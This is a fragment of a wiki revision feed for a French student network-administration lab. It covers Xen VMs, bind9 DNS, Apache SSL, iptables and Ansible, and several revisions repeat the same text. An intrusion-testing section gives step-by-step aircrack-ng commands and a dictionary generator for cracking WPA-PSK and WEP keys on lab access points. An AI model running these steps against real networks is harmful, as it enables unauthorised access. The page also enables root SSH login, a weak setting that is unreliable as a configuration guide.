      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51742</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51742"/>
				<updated>2019-12-09T16:59:16Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Ferme de serveurs Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
    &lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
Nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private.&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name = {{item}}&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
Puis on crée&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51740</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51740"/>
				<updated>2019-12-09T16:50:51Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Architecture générale de la ferme */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
    &lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
Nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
